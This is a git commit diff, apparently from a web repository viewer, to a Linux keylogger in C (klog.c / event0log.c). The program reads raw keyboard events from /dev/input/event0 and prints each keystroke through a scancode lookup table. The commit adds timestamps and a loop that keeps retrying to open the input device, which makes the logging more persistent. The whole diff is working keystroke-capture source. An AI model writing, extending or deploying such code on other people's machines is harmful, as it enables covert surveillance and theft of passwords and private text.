Klog timestampy
authorTomas Mudrunka <tomas@mudrunka.cz>
Mon, 22 Feb 2021 12:22:00 +0000 (13:22 +0100)
committerTomas Mudrunka <tomas@mudrunka.cz>
Mon, 22 Feb 2021 12:22:00 +0000 (13:22 +0100)
c/keylogger/klog.c

index 0f2b84ac1cbd73e4dc9614d984d6382dccd7e354..f86cc5f6fab1d04252426ca4f11e88e89f3e45fc 100755 (executable)
@@ -1,4 +1,4 @@
-/* event0log.c v0.8
+/* event0log.c v0.9
  * <~~Harvie 2oo8-2o21
  * THX2:       Dayvee (Idea), joe@aol.com (Reversing),
  *                             -=Punka][Tux=- (BugReport),
@@ -32,6 +32,7 @@
 #include <stdint.h>
 #include <unistd.h>
 #include <signal.h>
+#include <time.h>
 #define DEFAULTINPUT "/dev/input/event0"
 
 typedef struct __attribute__((__packed__)) input_event_s {
@@ -41,6 +42,8 @@ typedef struct __attribute__((__packed__)) input_event_s {
        unsigned int value;
 } input_event_t;
 
+time_t timestamp = 0;
+
 #define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted)
 char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
        "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14
@@ -86,33 +89,37 @@ int main(int argc, char *argv[]) {
        signal(SIGSEGV, &sigint_handler);
 
 
-       FILE *ftest;
-       printf("Reading data from: ");
+       printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE);
+
+       char * filepath = NULL;
        if(argc > 1 && argv[1][0] != '-') {
-               ftest = freopen(argv[1], "rb", stdin);
-               printf("%s\n", argv[1]);
+               filepath = &argv[1][0];
        }
        if(argc > 1 && argv[1][0] == '-') {
-               ftest = freopen(DEFAULTINPUT, "rb", stdin);
-               printf("%s\n", DEFAULTINPUT);
-       }
-       if(argc == 1) {
-               printf("STDIN\n", argv[1]);
+               filepath = DEFAULTINPUT;
        }
 
-       if(ftest == NULL) {
-               printf("Failed to open file!\n\n");
-               return(1);
+
+       while(1) {
+
+       while(1) {
+               if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) {
+                       printf("\n%lu\tFailed to open file %s", time(NULL), filepath);
+                       sleep(1);
+                       continue;
+                       //return(1);
+               } else {
+                       if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath);
+                       break;
+               }
        }
        setbuf(stdout, NULL);
 
-       printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE);
 
        input_event_t input_event;
-       while(1) {
-               read(0, &input_event, sizeof(input_event_t));
+       while(read(0, &input_event, sizeof(input_event_t)) != -1) {
                if(input_event.type != 1 || input_event.value != 1) continue;
-               //printf("\nTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.type, input_event.code, input_event.value);
+               //printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value);
                if(input_event.code <= MAXSTROKE) {
                        printf("%s", strokes[input_event.code]);
                } else {
@@ -120,4 +127,6 @@ int main(int argc, char *argv[]) {
                }
        }
 
+       }
+
 }
This page took 0.168384 seconds and 4 git commands to generate.